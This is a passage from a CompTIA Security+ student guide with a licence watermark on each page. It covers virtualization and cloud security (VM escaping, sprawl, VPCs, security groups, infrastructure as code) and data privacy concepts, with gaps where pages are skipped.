a VM (certain operations may take a distinct amount of time compared to a "real"
environment). There are numerous other "signatures" that an attacker could use to
detect the presence of virtualized system hardware. The next step in VM escaping is for
the attacker to compromise the hypervisor. Security researchers have been focusing on
this type of exploit and several vulnerabilities have been found in popular hypervisors.
One serious implication of VM escaping is where virtualization is used for hosted
applications. If you have a hosted web server, apart from trusting the hosting provider
with your data, you have no idea what other applications might be running in other
customers' VMs. For example, consider a scenario where you have an e-commerce web
server installed on a virtual server leased from an ISP. If a third-party installs another
guest OS with malware that can subvert the virtual server's hypervisor, they might
be able to gain access to your server or to data held in the memory of the physical
server. Having compromised the hypervisor, they could make a copy of your server
image and download it to any location. This would allow the attacker to steal any
unencrypted data held on the e-commerce server. Even worse, it could conceivably
allow them to steal encrypted data, by obtaining the private encryption keys stored on
the server or by sniffing unencrypted data or a data encryption key from the physical
server's memory.
It is imperative to monitor security bulletins for the hypervisor software that you
operate and to install patches and updates promptly. You should also design the
VM architecture carefully so that the placement of VMs running different types of
applications with different security requirements does not raise unnecessary risks.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 415
For example, when considering security zones such as a DMZ, VMs providing front-end
and middleware/back-end services should be separated to different physical hosts.
This reduces the security implications of a VM escaping attack on a host in the DMZ
(which will generally be more vulnerable to such attacks).
Isolating VMs in different zones on separate hardware—This should reduce the impact
of a VM escaping attack. (Images © 123RF.com.)
VM Sprawl Avoidance
As well as securing the hypervisor, you must also treat each VM as you would any
other network host. This means using security policies and controls to ensure the
confidentiality, integrity, and availability of all data and services relying on host
virtualization.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
416 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Each VM needs to be installed with its own security software suite to protect against
malware and intrusion attempts. Each guest must also have a patch management
process. This might mean installing updates locally or replacing the guest instance from
an updated VM template image.
Ordinary antivirus software installed on the host will NOT detect viruses infecting the guest
OS. Scanning the virtual disks of guest OSes from the host will cause serious performance
problems.
Although one of the primary benefits of virtualization is the ease of deploying new
systems, this type of system sprawl and deployment of undocumented assets can also
be the root of security issues. It will often be the case that a system will be brought up
for "just a minute" to test something, but languish for months or years, undocumented,
unsecured, and unpatched. Each of these undocumented systems could represent an
exploitable vulnerability. They increase the potential attack surface of the network.
Policies and procedures for tracking, securing, and, when no longer used, destroying
virtualized assets should be put in place and carefully enforced.
Virtual machine life cycle management (VMLM) software can be deployed to enforce
VM sprawl avoidance. VMLM solutions provide you with a centralized dashboard for
maintaining and monitoring all the virtual environments in your organization. More
generally, the management procedures for developing and deploying machine images
need to be tightly drafted and monitored. VMs should conform to an application-
specific template with the minimum configuration needed to run that application
(that is, not running unnecessary services). Images should not be run in any sort of
environment where they could be infected by malware or have any sort of malicious
code inserted. One of the biggest concerns here is of rogue developers or contractors
installing backdoors or "logic bombs" within a machine image. The problem of criminal
or disgruntled staff is obviously one that affects any sort of security environment, but
concealing code within VM machine images is a bit easier to accomplish and has the
potential to be much more destructive.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 417
Review Activity:
Secure Cloud and Virtualization Services
4. What is a VDE?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
418 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 15B
Apply Cloud Security Solutions
Configuring cloud security solutions shares many principles and processes with on-
premises security, but plenty of unfamiliar technologies and challenges too. Weak
configuration of cloud services can make many attack vectors available, and the public
nature of clouds means that they will quickly be discovered and exploited. You must
be able to apply policies technical controls to provision compute, network, and storage
cloud resources with the attributes of confidentiality, integrity, and availability.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 419
You must also consider the risk of insider threat, where the insiders are administrators
working for the service provider. Without effective security mechanisms such as
separation of duties and M of N control, it is highly likely that they would be able to
gain privileged access to your data. Consequently, the service provider must be able
to demonstrate to your satisfaction that they are prevented from doing so. There is
also the risk described earlier that your data is in proximity to other, unknown virtual
servers and that some sort of attack could be launched on your data from another
virtual server.
The Twitter hack affecting high-profile accounts being hijacked for a bitcoin scam is a good
illustration of the risks from insider threat (scmagazine.com/home/security-news/insider-
threats/twitter-hack-is-a-reminder-of-the-dangers-of-unfettered-employee-access).
As with any contracted service, with any *aaS solution, you place a large amount of
trust in the service provider. The more important the service is to your business, the
more risk you are investing in that trust relationship.
Secrets Management
A cloud service is highly vulnerable to remote access. A failure of credential
management is likely to be exploited by malicious actors. You must enforce strong
authentication policies to mitigate risks:
• Do not use the root user for the CSP account for any day-to-day logon activity.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
420 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Container Security
A container uses many shared components on the underlying platform, meaning it
must be carefully configured to reduce the risk of data exposure. In a container engine
such as Docker, each container is isolated from others through separate namespaces
and control groups (docs.docker.com/engine/security/security). Namespaces prevent
one container reading or writing processes in another, while control groups ensure
that one container cannot overwhelm others in a DoS-type attack.
• Latency—this is the time in milliseconds (ms) taken for the service to respond to an
API call. This can be measured for specific services or as an aggregate value across
all services. High latency usually means that compute resources are insufficient. The
cause of this could be genuine load or DDoS, however.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 421
Instance Awareness
As with on-premises virtualization, it is important to manage instances (virtual
machines and containers) to avoid sprawl, where undocumented instances are
launched and left unmanaged. As well as restricting rights to launch instances, you
should configure logging and monitoring to track usage.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
422 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
To read or write the data, the AES key must be available to the VM or container using
the storage object. With CSP-managed keys, the cloud provider handles this process
by using the access control rights configured on the storage resource to determine
whether access is approved and, if so, making the key available to the VM or container.
The key will be stored in a hardware security module (HSM) within the cloud. The HSM
and separation of duties policies protect the keys from insider threat. Alternatively,
customers can manage keys themselves, taking on all responsibility for secure
distribution and storage.
Encryption can also be applied at other levels. For example, applications can selectively
encrypt file system objects or use database-level encryption to encrypt fields and/or
records. All networking—whether customer to cloud or between VMs/containers within
the cloud—should use encrypted protocols such as HTTPS or IPSec.
High Availability
One of the benefits of the cloud is the potential for providing services that are resilient
to failures at different levels, such as component, server, local network, site, data
center, and wide area network. The CSP uses a virtualization layer to ensure that
compute, storage, and network provision meet the availability criteria set out in its
SLA. In terms of storage performance tiers, high availability (HA) refers to storage
provisioned with a guarantee of 99.99% uptime or better. As with on-premises
architecture, the CSP uses redundancy to make multiple disk controllers and storage
devices available to a pool of storage resource. Data may be replicated between pools
or groups, with each pool supported by separate hardware resources.
Replication
Data replication allows businesses to copy data to where it can be utilized most
effectively. The cloud may be used as a central storage area, making data available
among all business units. Data replication requires low latency network connections,
security, and data integrity. CSPs offer several data storage performance tiers
(cloud.google.com/storage/docs/storage-classes). The terms hot and cold storage
refer to how quickly data is retrieved. Hot storage retrieves data more quickly than
cold, but the quicker the data retrieval, the higher the cost. Different applications have
diverse replication requirements. A database generally needs low-latency, synchronous
replication, as a transaction often cannot be considered complete until it has been
made on all replicas. A mechanism to replicate data files to backup storage might not
have such high requirements, depending on the criticality of the data.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 423
• Virtual networks established between VMs and containers within the cloud.
The following notes focus on features of networking in AWS. Other vendors support similar
functionality, though sometimes with different terminology. For example, in Microsoft Azure,
VPCs are referred to as virtual networks.
The instance network adapter is not configured with this public IP address. The instance's
NIC is configured with an IP address for the subnet. The public address is used by the
virtualization management layer only. Public IP addresses can be assigned from your own
pool or from a CSP-managed service, such as Amazon's Elastic IP (docs.aws.amazon.com/
AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html).
There are other ways to provision external connectivity for a subnet if it is not
appropriate to make it public:
• NAT gateway—this feature allows an instance to connect out to the Internet or to
other AWS services, but does not allow connections initiated from the Internet.
• VPN—there are various options for establishing connections to and between VPCs
using virtual private networks (VPNs) at the software layer or using CSP-managed
features.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
424 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Amazon's white paper sets out options for configuring multi-VPC infrastructure in more
detail (d1.awsstatic.com/whitepapers/building-a-scalable-and-secure-multi-vpc-aws-
network-infrastructure.pdf).
VPC Endpoints
A VPC endpoint is a means of publishing a service so that it is accessible by instances in
other VPCs using only the AWS internal network and private IP addresses (d1.awsstatic.
com/whitepapers/aws-privatelink.pdf). This means that the traffic is never exposed to
the Internet. There are two types of VPC endpoint: gateway and interface.
Gateway Endpoints
A gateway endpoint is used to connect instances in a VPC to the AWS S3 (storage) and
DynamoDB (database) services. A gateway endpoint is configured as a route to the
service in the VPC's route table.
Interface Endpoints
An interface endpoint makes use of AWS's PrivateLink feature to allow private access to
custom services:
• A custom service provider VPC is configured by publishing the service with a DNS
host name. Alternatively, the service provider might be an Amazon default service
that is enabled as a VPC interface endpoint, such as CloudWatch Events/Logs.
• A VPC endpoint interface is configured in each service consumer VPC subnet. The
VPC endpoint interface is configured with a private IP address within the subnet
plus the DNS host name of the service provider.
• Each instance within the VPC subnet is configured to use the endpoint address to
contact the service provider.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 425
• Transport layer (layer 4)—the firewall can store connection states and use rules to
allow established or related traffic. Because the firewall must maintain a state table
of existing connections, this requires more processing power (CPU and memory).
• Application layer (layer 7)—the firewall can parse application protocol headers
and payloads (such as HTTP packets) and make filtering decisions based on their
contents. This requires even greater processing capacity (or load balancing), or the
firewall will become a bottleneck and increase network latency.
While you can use cloud-based firewalls to implement on-premises network security,
here we are primarily concerned with the use of firewalls to filter traffic within and to
and from the cloud itself. Such firewalls can be implemented in several ways to suit
different purposes:
• As software running on an instance. This sort of host-based firewall is identical
to ones that you would configure for an on-premises host. It could be a stateful
packet filtering firewall or a web application firewall (WAF) with a ruleset tuned to
preventing malicious attacks. The drawback is that the software consumes instance
resources and so is not very efficient. Also, managing the rulesets across many
instances can be challenging.
• As a service at the virtualization layer to filter traffic between VPC subnets and
instances. This equates to the concept of an on-premises network firewall.
Security Groups
In AWS, basic packet filtering rules managing traffic that each instance will accept can
be managed through security groups (docs.aws.amazon.com/vpc/latest/userguide/
VPC_SecurityGroups.html). A security group provides stateful inbound and outbound
filtering at layer 4. The stateful filtering property means that it will allow established
and related traffic if a new connection has been accepted.
The default security group allows any outbound traffic and any inbound traffic from
instances also bound to the default security group. A custom security group sets the
ports and endpoints that are allowed for inbound and outbound traffic. There are
no deny rules for security groups; any traffic that does not match an allow rule is
dropped. Consequently, a custom group with no rules will drop all network traffic.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
426 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Multiple instances can be assigned to the same security group, and instances within
the same subnet can be assigned to different security groups. You can assign multiple
security groups to the same instance. You can also assign security groups to VPC
endpoint interfaces.
Adding a custom security group when launching a new instance in AWS EC2. This policy allows SSH
access from a single IP address (redacted) and access to HTTPS from any IP address.
Most cloud providers support similar filtering functionality, though they may be
implemented differently. For example, in Azure, network security groups can be
applied to network interfaces or to subnets (docs.microsoft.com/en-us/azure/virtual-
network/security-overview).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 427
• Reverse proxy—this is positioned at the cloud network edge and directs traffic to
cloud services if the contents of that traffic comply with policy. This does not require
configuration of the users' devices. This approach is only possible if the cloud
application has proxy support.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
428 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Cloud Security Solutions
Answer the following questions:
1. Describe some key considerations that should be made when hosting data
or systems via a cloud solutions provider.
2. True or false? The account with which you register for the CSP services is
not an account with root privileges.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 429
Topic 15C
Summarize Infrastructure
as Code Concepts
Coupled with the use of virtualization and the cloud is the idea of continuous delivery
models for automation and service integration. These technologies can be used
together to deliver an infrastructure as code model of provisioning networks and hosts
to support application services.
Microservices
Microservice-based development shares many similarities with Agile software project
management and the processes of continuous delivery and deployment. It also shares
roots with the Unix philosophy that each program or tool should do one thing well.
The main difference between SOA and microservices is that SOA allows a service to be
built from other services. By contrast, each microservice should be capable of being
developed, tested, and deployed independently. The microservices are said to be highly
decoupled rather than just loosely decoupled.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
430 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Serverless Architecture
Serverless is a modern design pattern for service delivery. It is strongly associated
with modern web applications—most notably Netflix (aws.amazon.com/solutions/
case-studies/netflix-and-aws-lambda)—but providers are appearing with products
to completely replace the concept of the corporate LAN. With serverless, all the
architecture is hosted within a cloud, but unlike "traditional" virtual private cloud (VPC)
offerings, services such as authentication, web applications, and communications
aren't developed and managed as applications running on VM instances located within
the cloud. Instead, the applications are developed as functions and microservices, each
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 431
interacting with other functions to facilitate client requests. When the client requires
some operation to be processed, the cloud spins up a container to run the code,
performs the processing, and then destroys the container. Billing is based on execution
time, rather than hourly charges. This type of service provision is also called function
as a service (FaaS). FaaS products include AWS Lambda (aws.amazon.com/lambda),
Google Cloud Functions (cloud.google.com/functions), and Microsoft Azure Functions
(azure.microsoft.com/services/functions).
The serverless paradigm eliminates the need to manage physical or virtual server
instances, so there is no management effort for software and patches, administration
privileges, or file system security monitoring. There is no requirement to provision
multiple servers for redundancy or load balancing. As all of the processing is taking
place within the cloud, there is little emphasis on the provision of a corporate network.
This underlying architecture is managed by the service provider. The principal
network security job is to ensure that the clients accessing the services have not been
compromised in a way that allows a malicious actor to impersonate a legitimate user.
This is a particularly important consideration for the developer accounts and devices
used to update the application code underpinning the services. These workstations
must be fully locked down, running no other applications or web code than those
necessary for development.
Serverless does have considerable risks. As a new paradigm, use cases and best
practices are not mature, especially as regards security. There is also a critical and
unavoidable dependency on the service provider, with limited options for disaster
recovery should that service provision fail.
Serverless architecture depends heavily on the concept of event-driven orchestration
to facilitate operations. For example, when a client connects to an application, multiple
services will be called to authenticate the user and device, identify the device location
and address properties, create a session, load authorizations for the action, use
application logic to process the action, read or commit information from a database,
and write a log of the transaction. This design logic is different from applications
written to run in a "monolithic" server-based environment. This means that adapting
existing corporate software will require substantial development effort.
Infrastructure as Code
The use of cloud technologies encourages the use of scripted approaches to
provisioning, rather than manually making configuration changes, or installing patches.
An approach to infrastructure management where automation and orchestration fully
replace manual configuration is referred to as infrastructure as code (IaC).
One of the goals of IaC is to eliminate snowflake systems. A snowflake is a
configuration or build that is different from any other. The lack of consistency—or
drift—in the platform environment leads to security issues, such as patches that
have not been installed, and stability issues, such as scripts that fail to run because of
some small configuration difference. By rejecting manual configuration of any kind,
IaC ensures idempotence. Idempotence means that making the same call with the
same parameters will always produce the same result. Note that IaC is not simply a
matter of using scripts to create instances. Running scripts that have been written ad
hoc is just as likely to cause environment drift as manual configuration. IaC means
using carefully developed and tested scripts and orchestration runbooks to generate
consistent builds.
Software-Defined Networking
IaC is partly facilitated by physical and virtual network appliances that are fully
configurable via scripting and APIs. As networks become more complex—perhaps
involving thousands of physical and virtual computers and appliances—it becomes
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
432 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
more difficult to implement network policies, such as ensuring security and managing
traffic flow. With so many devices to configure, it is better to take a step back and
consider an abstracted model about how the network functions. In this model, network
functions can be divided into three "planes":
• Control plane—makes decisions about how traffic should be prioritized and
secured, and where it should be switched.
• Data plane—handles the actual switching and routing of traffic and imposition of
security access controls.
Software-Defined Visibility
Where SDN addresses secure network "build" solutions, software-defined visibility
(SDV) supports assessment and incident response functions. Visibility is the near real-
time collection, aggregation, and reporting of data about network traffic flows and the
configuration and status of all the hosts, applications, and user accounts participating
in it.
SDV can help the security data collection process by gathering statistics from the
forwarding systems and then applying a classification scheme to those systems to
detect network traffic that deviates from baseline levels (gigamon.com/content/dam/
resource-library/english/white-paper/wp-software-defined-visibility-new-paradigm-
for-it.pdf). This can provide you with a more robust ability to detect anomalies—
anomalies that may suggest an incident. SDV therefore gives you a high-level
perspective of network flow and endpoint/user account behavior that may not be
possible with traditional appliances. SDV supports designs such as zero trust and
east/west (paloaltonetworks.com/cyberpedia/what-is-a-zero-trust-architecture), plus
implementation of security orchestration and automated response (SOAR).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 433
• Edge gateways perform some pre-processing of data to and from edge devices
to enable prioritization. They also perform the wired or wireless connectivity to
transfer data to and from the storage and processing networks.
• Fog nodes can be incorporated as a data processing layer positioned close to the
edge gateways, assisting the prioritization of critical data transmission.
• The cloud or data center layer provides the main storage and processing resources,
plus distribution and aggregation of data between sites.
In security terms, the fog node or edge gateway layers represent high-value targets for
both denial of service and data exfiltration attacks.
The controversy over the use of Huawei's equipment within 5G and edge networks illustrates
the risks and concerns over supply chains and trusted computing (threatpost.com/huawei-
5g-security-implications/152926).
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
434 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Infrastructure as Code
Answer the following questions:
2. You have been asked to produce a summary of pros and cons for the
products Chef and Puppet. What type of virtualization or cloud computing
technology do these support?
5. What is SDV?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 435
Lesson 15
Summary
You should be able to summarize virtualization and cloud computing concepts and
implement cloud security controls for compute, storage, and network functions.
• If using a CSP, create an SLA and security responsibility matrix to identify who
will perform security-critical tasks. Ensure that reporting and monitoring of cloud
security data is integrated with on-premises monitoring and incident response.
• If using on-premises virtualization or a private data center, ensure robust
procedures for developing and deploying virtual machines and protecting
hypervisor security.
• Configure native or third-party security controls to protect cloud services:
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
Lesson 16
Explaining Data Privacy and
Protection Concepts
LESSON INTRODUCTION
If people are an organization's most important asset, then data comes a close second.
The rapid adoption of cybersecurity awareness and technologies has come about
because of the huge reputational and financial costs of high-profile data and privacy
breaches. It is usually data that the threat actors want, and data that the whole system
is set up to protect.
The confidentiality, integrity, and availability security attributes of data processing
and storage are ensured through a mixture of managerial, operational, and technical
controls. Along with security, you should also be able to assess privacy factors when
collecting and storing data, and identify how processes must be shaped by legislative
and regulatory compliance.
Lesson Objectives
In this lesson, you will:
• Explain privacy and data sensitivity concepts.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
438 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Topic 16A
Explain Privacy and Data
Sensitivity Concepts
A detailed understanding of privacy and data sensitivity concepts will help you
to operate within an overall data governance team. Data security and privacy
are areas where policy and procedure are as important as technical controls in
ensuring compliance. These policies and procedures may also need to be expressed
in agreements with external partners, suppliers, and customers. As a security
professional, you will need to select and apply these policies, procedures, and
agreements wisely.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 439
• Retention—data might have to be kept in an archive past the date when it is still
used for regulatory reasons.
• Data steward—this role is primarily responsible for data quality. This involves tasks
such as ensuring data is labeled and identified with appropriate metadata and that
data is collected and stored in a format and with values that comply with applicable
laws and regulations.
• Data custodian—this role handles managing the system on which the data assets
are stored. This includes responsibility for enforcing access control, encryption, and
backup/recovery measures.
• Data Privacy Officer (DPO)—this role is responsible for oversight of any personally
identifiable information (PII) assets managed by the company. The privacy officer
ensures that the processing, disclosure, and retention of PII complies with legal and
regulatory frameworks.
In the context of legislation and regulations protecting personal privacy, the following
two institutional roles are important:
• Data controller—the entity responsible for determining why and how data is
stored, collected, and used and for ensuring that these purposes and means are
lawful. The data controller has ultimate responsibility for privacy breaches, and is
not permitted to transfer that responsibility.
• Data processor—an entity engaged by the data controller to assist with technical
collection, storage, or analysis tasks. A data processor follows the instructions of a
data controller with regard to collection or processing.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
440 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Data controller and processor tend to be organizational roles rather than individual
ones. For example, if Widget.foo collects personal data to operate a webstore on its
own cloud, it is a data collector and data processor. If Widget.foo passes aggregate
data to Grommet.foo asking them to run profitability analytics for different customer
segments on its AI-backed cloud, Grommet.foo is a data processor acting under the
instruction of Widget.foo. Within the Grommet.foo and Widget.foo companies, the data
owner might take personal responsibility for the lawful performance of data controller
and processor functions.
Data Classifications
Data classification and typing schemas tag data assets so that they can be managed
through the information life cycle. A data classification schema is a decision tree
for applying one or more tags or labels to each data asset. Many data classification
schemas are based on the degree of confidentiality required:
• Public (unclassified)—there are no restrictions on viewing the data. Public
information presents no risk to an organization if it is disclosed but does present a
risk if it is modified or not available.
• Critical (top secret)—the information is too valuable to allow any risk of its capture.
Viewing is severely restricted.
Using Microsoft Azure Information Protection to define an automatic document labeling and
watermarking policy. (Screenshot used with permission from Microsoft.)
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 441
Data Types
A type schema applies a more detailed label to data than simple classification.
Customer Data
Customer data can be institutional information, but also personal information about
the customer's employees, such as sales and technical support contacts. This personal
customer data should be treated as PII. Institutional information might be shared
under a nondisclosure agreement (NDA), placing contractual obligations on storing and
processing it securely.
Health Information
Personal health information (PHI)—or protected health information—refers to
medical and insurance records, plus associated hospital and laboratory test results.
PHI may be associated with a specific person or used as an anonymized or deidentified
data set for analysis and research. An anonymized data set is one where the identifying
data is removed completely. A deidentified set contains codes that allow the subject
information to be reconstructed by the data provider.
PHI trades at high values on the black market, making it an attractive target. Criminals
seek to exploit the data for insurance fraud or possibly to blackmail victims. PHI data is
extremely sensitive and its loss has a permanent effect. Unlike a credit card number or
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
442 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Financial Information
Financial information refers to data held about bank and investment accounts, plus
information such as payroll and tax returns. Payment card information comprises
the card number, expiry date, and the three-digit card verification value (CVV). Cards
are also associated with a PIN, but this should never be transmitted to or handled by
the merchant. Abuse of the card may also require the holder's name and the address
the card is registered to. The Payment Card Industry Data Security Standard (PCI DSS)
defines the safe handling and storage of this information (pcisecuritystandards.org/
pci_security).
Government Data
Internally, government agencies have complex data collection and processing
requirements. In the US, federal laws place certain requirements on institutions that
collect and process data about citizens and taxpayers. This data may be shared with
companies for analysis under strict agreements to preserve security and privacy.
Privacy Notices
Informed consent means that the data must be collected and processed only for
the stated purpose, and that purpose must be clearly described to the user in plain
language, not legalese. This consent statement is referred to as a privacy notice. Data
collected under that consent statement cannot then be used for any other purpose.
For example, if you collect an email address for use as an account ID, you may not send
marketing messages to that email address without obtaining separate consent for that
discrete purpose. Purpose limitation will also restrict your ability to transfer data to
third parties.
Impact Assessments
Tracking consent statements and keeping data usage in compliance with the consent
granted is a significant management task. In organizations that process large amounts
of personal data, technical tools that perform tagging and cross-referencing of
personal data records will be required. A data protection impact assessment is a
process designed to identify the risks of collecting and processing personal data in the
context of a business workflow or project and to identify mechanisms that mitigate
those risks.
Data Retention
Data retention refers to backing up and archiving information assets in order to comply
with business policies and/or applicable laws and regulations. To meet compliance
and e-discovery requirements, organizations may be legally bound to retain certain
types of data for a specified period. This type of requirement will particularly affect
financial data and security log data. Conversely, storage limitation principles in privacy
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 443
legislation may prevent you from retaining personal data for longer than is necessary.
This can complicate the inclusion of PII in backups and archives.
Data Sovereignty
Data sovereignty refers to a jurisdiction preventing or restricting processing and
storage from taking place on systems do not physically reside within that jurisdiction.
Data sovereignty may demand certain concessions on your part, such as using location-
specific storage facilities in a cloud service.
For example, GDPR protections are extended to any EU citizen while they are within
EU or EEA (European Economic Area) borders. Data subjects can consent to allow a
transfer but there must be a meaningful option for them to refuse consent. If the
transfer destination jurisdiction does not provide adequate privacy regulations (to
a level comparable to GDPR), then contractual safeguards must be given to extend
GDPR rights to the data subject. In the US, companies can self-certify that the
protections they offer are adequate under the Privacy Shield scheme (privacyshield.
gov/US-Businesses).
Geographical Considerations
Geographic access requirements fall into two different scenarios:
• Storage locations might have to be carefully selected to mitigate data sovereignty
issues. Most cloud providers allow choice of data centers for processing and
storage, ensuring that information is not illegally transferred from a particular
privacy jurisdiction without consent.
• Employees needing access from multiple geographic locations. Cloud-based file and
database services can apply constraint-based access controls to validate the user's
geographic location before authorizing access.
Organizational Consequences
A data or privacy breach can have severe organizational consequences:
• Reputation damage—data breaches cause widespread negative publicity, and
customers are less likely to trust a company that cannot secure its information
assets.
• Identity theft—if the breached data is exploited to perform identity theft, the data
subject may be able to sue for damages.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
444 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
• Fines—legislation might empower a regulator to levy fines. These can be fixed sum
or in the most serious cases a percentage of turnover.
• IP theft—loss of company data can lead to loss of revenue. This typically occurs
when copyright material—unreleased movies and music tracks—is breached. The
loss of patents, designs, trade secrets, and so on to competitors or state actors can
also cause commercial losses, especially in overseas markets where IP theft may be
difficult to remedy through legal action.
Notifications of Breaches
The requirements for different types of breach are set out in law and/or in regulations.
The requirements indicate who must be notified. A data breach can mean the loss or
theft of information, the accidental disclosure of information, or the loss or damage of
information. Note that there are substantial risks from accidental breaches if effective
procedures are not in place. If a database administrator can run a query that shows
unredacted credit card numbers, that is a data breach, regardless of whether the query
ever leaves the database server.
Escalation
A breach may be detected by technical staff and if the event is considered minor, there
may be a temptation to remediate the system and take no further notification action.
This could place the company in legal jeopardy. Any breach of personal data and most
breaches of IP should be escalated to senior decision-makers and any impacts from
legislation and regulation properly considered.
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 445
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
446 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
Review Activity:
Privacy and Data Sensitivity Concepts
Answer the following questions:
1. What is the difference between the role of data steward and the role of data
custodian?
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
The Official CompTIA Security+ Student Guide (Exam SY0-601) | 447
Topic 16B
Explain Privacy and Data
Protection Controls
Policies and procedures are essential for effective data governance, but they can be
supported by technical controls too. As a security professional, you need to be aware of
the capabilities of data loss prevention (DLP) systems and privacy enhancing database
controls, and how they can be used to protect data anywhere it resides, on hosts, in
email systems, or in the cloud.
Data Protection
Data stored within a trusted OS can be subject to authorization mechanisms where
the OS mediates access using some type of ACL. The presence of a trusted OS
cannot always be assumed, however. Other data protection mechanisms, notably
encryption, can be used to mitigate the risk that an authorization mechanism can
be countermanded. When deploying a cryptographic system to protect data assets,
consideration must be given to all the ways that information could potentially be
intercepted. This means thinking beyond the simple concept of a data file stored on a
disk. Data can be described as being in one of three states:
• Data at rest—this state means that the data is in some sort of persistent
storage media. Examples of types of data that may be at rest include financial
information stored in databases, archived audiovisual media, operational policies
and other management documents, system configuration data, and more. In this
state, it is usually possible to encrypt the data, using techniques such as whole
disk encryption, database encryption, and file- or folder-level encryption. It is
also possible to apply permissions—access control lists (ACLs)—to ensure only
authorized users can read or modify the data. ACLs can be applied only if access to
the data is fully mediated through a trusted OS.
• Data in transit (or data in motion)—this is the state when data is transmitted over
a network. Examples of types of data that may be in transit include website traffic,
remote access traffic, data being synchronized between cloud repositories, and
more. In this state, data can be protected by a transport encryption protocol, such
as TLS or IPSec.
With data at rest, there is a greater encryption challenge than with data in transit as the
encryption keys must be kept secure for longer. Transport encryption can use ephemeral
(session) keys.
• Data in use (or data in processing)—this is the state when data is present in
volatile memory, such as system RAM or CPU registers and cache. Examples of
types of data that may be in use include documents open in a word processing
LICENSED FOR USE ONLY BY: BONIEBER OROFEO · 26648801 · MAY 18 2022
448 | The Official CompTIA Security+ Student Guide (Exam SY0-601)
application, database data that is currently being modified, event logs being
generated while an operating system is running, and more. When a user works with
data, that data usually needs to be decrypted as it goes from in rest to in use. The
data may stay decrypted for an entire work session, which puts it at risk. However,
trusted execution environment (TEE) mechanisms, such as Intel Software Guard
Extensions (software.intel.com/content/www/us/en/develop/topics/software-guard-
extensions/details.html) are able to encrypt data as it exists in memory, so that an
untrusted process cannot decode the information.
Data Exfiltration
In a workplace where mobile devices with huge storage capacity proliferate and high
bandwidth network links are readily available, attempting to prevent the loss of data by
controlling the types of storage devices allowed to connect to PCs and networks can be
